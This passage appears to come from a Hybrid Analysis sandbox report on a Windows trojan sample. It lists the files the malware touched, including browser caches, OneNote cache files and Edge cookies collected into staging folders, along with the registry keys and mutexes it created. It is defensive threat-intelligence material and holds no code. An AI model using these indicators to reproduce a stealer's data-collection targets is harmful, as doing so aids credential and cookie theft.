path":"%TEMP%\\rxclient_1792193633610221700\\output\\Notes\\OneNote\\14.0\\OneNoteOfflineCache_Files\\5273e1fd-51c0-4978-b06f-b2d159de7a3e","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Notes\\OneNote\\14.0\\OneNoteOfflineCache_Files\\52c39d7c-6d6b-4ad3-b5e5-c417949d335d.png","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Notes\\OneNote\\14.0\\OneNoteOfflineCache_Files\\5318eba9-773d-4fec-9366-6e84f8dfbbc5.png","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Notes\\OneNote\\14.0\\OneNoteOfflineCache_Files\\5394c05d-dc33-4d24-bd45-2d8954648f28.png","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Notes\\OneNote\\14.0\\OneNoteOfflineCache_Files\\589552e4-8cbd-4c4c-8273-c6b824bc0b71","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Notes\\OneNote\\14.0\\OneNoteOfflineCache_Files\\59eca57b-98c0-4210-b058-65cd97f8a508.png","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Notes\\OneNote\\14.0\\OneNoteOfflineCache_Files\\5a6bf27d-10c0-48c2-ad99-6c05350c6480.png","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Notes\\OneNote\\14.0\\OneNoteOfflineCache_Files\\5f2cf75b-881d-4381-a640-48b3a4cf3d3b.png","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Notes\\OneNote\\14.0\\OneNoteOfflineCache_Files\\61c58293-8c07-4e0e-aceb-cd73c01098ad","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Notes\\OneNote\\14.0\\OneNoteOfflineCache_Files\\61f61813-12bf-428e-a621-7547de2caf46","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Notes\\OneNote\\14.0\\OneNoteOfflineCache_Files\\62e3dfa2-4350-445b-8693-d1d04a74543c.png","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Notes\\OneNote\\14.0\\OneNoteOfflineCache_Files\\67a8d4d1-9cdf-4e7e-9cc6-e2522c42c112","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Firefox\\ywzu7870.default\\cache2\\entries\\1AD20D80616B24472A2FAF44C3084CD06F5FD3F6","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Notes\\OneNote\\14.0\\OneNoteOfflineCache_Files\\6a8b0e06-e9a5-4761-afda-29391149e64d.png","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Firefox\\ywzu7870.default\\cache2\\entries\\1B6C4252C6156FAF114A225D792A40F18B496B25","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Firefox\\ywzu7870.default\\cache2\\entries\\1BB36A38A8345C80D9C9A6B42EB75F642CBEDB46","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Firefox\\ywzu7870.default\\cache2\\entries\\1BDEFFDE8487822A066F1A9E9E729D49B3EADB8F","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Notes\\OneNote\\14.0\\OneNoteOfflineCache_Files\\6acd7df4-f195-4f6d-98b9-b8f3e80f5759.png","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Firefox\\ywzu7870.default\\cache2\\entries\\1C15025C8A0782B106564CDC1C682B7D89D3EDB0","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Notes\\OneNote\\14.0\\OneNoteOfflineCache_Files\\6d6e34b9-0e90-470c-ada3-2b00b4b8ffac.png","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Firefox\\ywzu7870.default\\cache2\\entries\\1C58BCC50FD90DA569C25964A2E2FCBF9F9461AA","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Firefox\\ywzu7870.default\\cache2\\entries\\1CA0257992E80478DD481DAFCB0F0BA4C042CBA5","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Notes\\OneNote\\14.0\\OneNoteOfflineCache_Files\\6dc6ea9d-e309-4d96-af86-75be16a9fa9c","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Notes\\OneNote\\14.0\\OneNoteOfflineCache_Files\\6f0d52f9-b478-4adc-9f25-e3a894df2df4","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Notes\\OneNote\\14.0\\OneNoteOfflineCache_Files\\6f62a19f-e332-4aae-9d39-f6f291597a90","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Notes\\OneNote\\14.0\\OneNoteOfflineCache_Files\\704246ff-2a5b-4ba0-a88e-4af01c8d0bb2","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Firefox\\ywzu7870.default\\cache2\\entries\\1CC09C262C3BB2069893A683989DE9C82BF3BDE6","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Firefox\\ywzu7870.default\\cache2\\entries\\1CE9205D4D702725963650EB502184E13E99AC1C","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Firefox\\ywzu7870.default\\cache2\\entries\\1E80A978DD82CD9DC437F474151C4BD7B4BA5DD8","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Notes\\OneNote\\14.0\\OneNoteOfflineCache_Files\\70501987-d6a0-453a-a50c-0d28efe21a26","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Firefox\\ywzu7870.default\\cache2\\entries\\1F598FFB2F4380C0F286A8D06BC0883B4B02507A","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Notes\\OneNote\\14.0\\OneNoteOfflineCache_Files\\708e5f5e-7919-4259-8092-e1a41acc2305","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Firefox\\ywzu7870.default\\cache2\\entries\\20227FAA9AF68414EBCC7ACC63D624BF695606AD","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Notes\\OneNote\\14.0\\OneNoteOfflineCache_Files\\70c3a864-35fa-4245-802a-dbda1e3f4c00.png","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Firefox\\ywzu7870.default\\cache2\\entries\\20365CBC522A8A8BA2797B61EB86D6A5419ACADE","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Notes\\OneNote\\14.0\\OneNoteOfflineCache_Files\\70d1f452-966e-4e28-8da5-8b2eeadbe078.png","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Firefox\\ywzu7870.default\\cache2\\entries\\217AE3EFFAEEB57FA5B5179C0F5CCBC951ADB20B","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Firefox\\ywzu7870.default\\cache2\\entries\\217D63521078EB1347865E77CDD0A7C830D208DD","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Notes\\OneNote\\14.0\\OneNoteOfflineCache_Files\\78e53d00-7097-45be-a724-8c2c45ca5a4f","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Firefox\\ywzu7870.default\\cache2\\entries\\2210FD3DD8DAF0261118BF0009E971238513F7D3","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Notes\\OneNote\\14.0\\OneNoteOfflineCache_Files\\79a073b8-0713-4166-af23-3272c394a92a.png","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Firefox\\ywzu7870.default\\cache2\\entries\\2239759F0CA01AA67086A68A8FC543DB1283FAE5","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{D03DB0C1-2729-4674-A875-8625DD784300}","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{D27478B9-2058-11E8-B41F-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{3FC98E00-C370-43D9-A2DC-B067CC06FAD9}","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"C:\\Users","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%USERPROFILE%\\AppData","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%LOCALAPPDATA%\\Temp","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxinj_1792193633892748900","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"pipe\\mojo.13042.2140.2408.chrome","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"pipe\\msedge.crashpad_3268_085D","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxinj_1792193633892748900\\output","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxinj_1792193633892748900\\output\\Edge\\Default\\cookies.json","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%WINDIR%\\System32\\CatRoot","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%WINDIR%\\System32\\catroot2","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_rirslpmq.mxv.ps1","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_wydkxvdt.wq2.psm1","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_z4ziqcw5.rq2.ps1","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_n35kqa44.rlb.psm1","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%LOCALAPPDATA%\\PeerDistRepub","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\WBEM\\CIMOM\\","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\\","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\\","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\PEERDIST\\","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\PEERDIST\\","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:6548:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"name":"SM0:6548:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7388:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"name":"Local\\SM0:7388:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"name":"SM0:7388:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7388:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:8084:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"name":"Local\\SM0:8084:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"name":"SM0:8084:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:8084:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:6552:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6552:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:6552:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"name":"SM0:6552:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:3480:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:3480:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"name":"Local\\SM0:3480:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"name":"SM0:3480:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]}]}},"report_ids":{"sandbox_job_ids":["6ad2b448e3dfa70fe3096f32"]}}}]]}] 1e:null 22:[["$","title","0",{"children":"Malicious Win64/GenKryptik_AGeneric.FHW trojan Sample ce1eb64fc046… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample ce1eb64fc046…. Malware family: Win64/GenKryptik_AGeneric.FHW trojan. Threat score 100/100. 6/28 AV engines flagged this file. 8 malicious and 19 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/ce1eb64fc04650f2e124bbae21a41cbaaf6e583c5b8783e2519fada7f6e8e957"}],["$","meta","4",{"property":"og:title","content":"Malicious Win64/GenKryptik_AGeneric.FHW trojan Sample ce1eb64fc046… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample ce1eb64fc046…. Malware family: Win64/GenKryptik_AGeneric.FHW trojan. Threat score 100/100. 6/28 AV engines flagged this file. 8 malicious and 19 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/ce1eb64fc04650f2e124bbae21a41cbaaf6e583c5b8783e2519fada7f6e8e957"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Win64/GenKryptik_AGeneric.FHW trojan Sample ce1eb64fc046… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample ce1eb64fc046…. Malware family: Win64/GenKryptik_AGeneric.FHW trojan. Threat score 100/100. 6/28 AV engines flagged this file. 8 malicious and 19 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L79","11",{}]]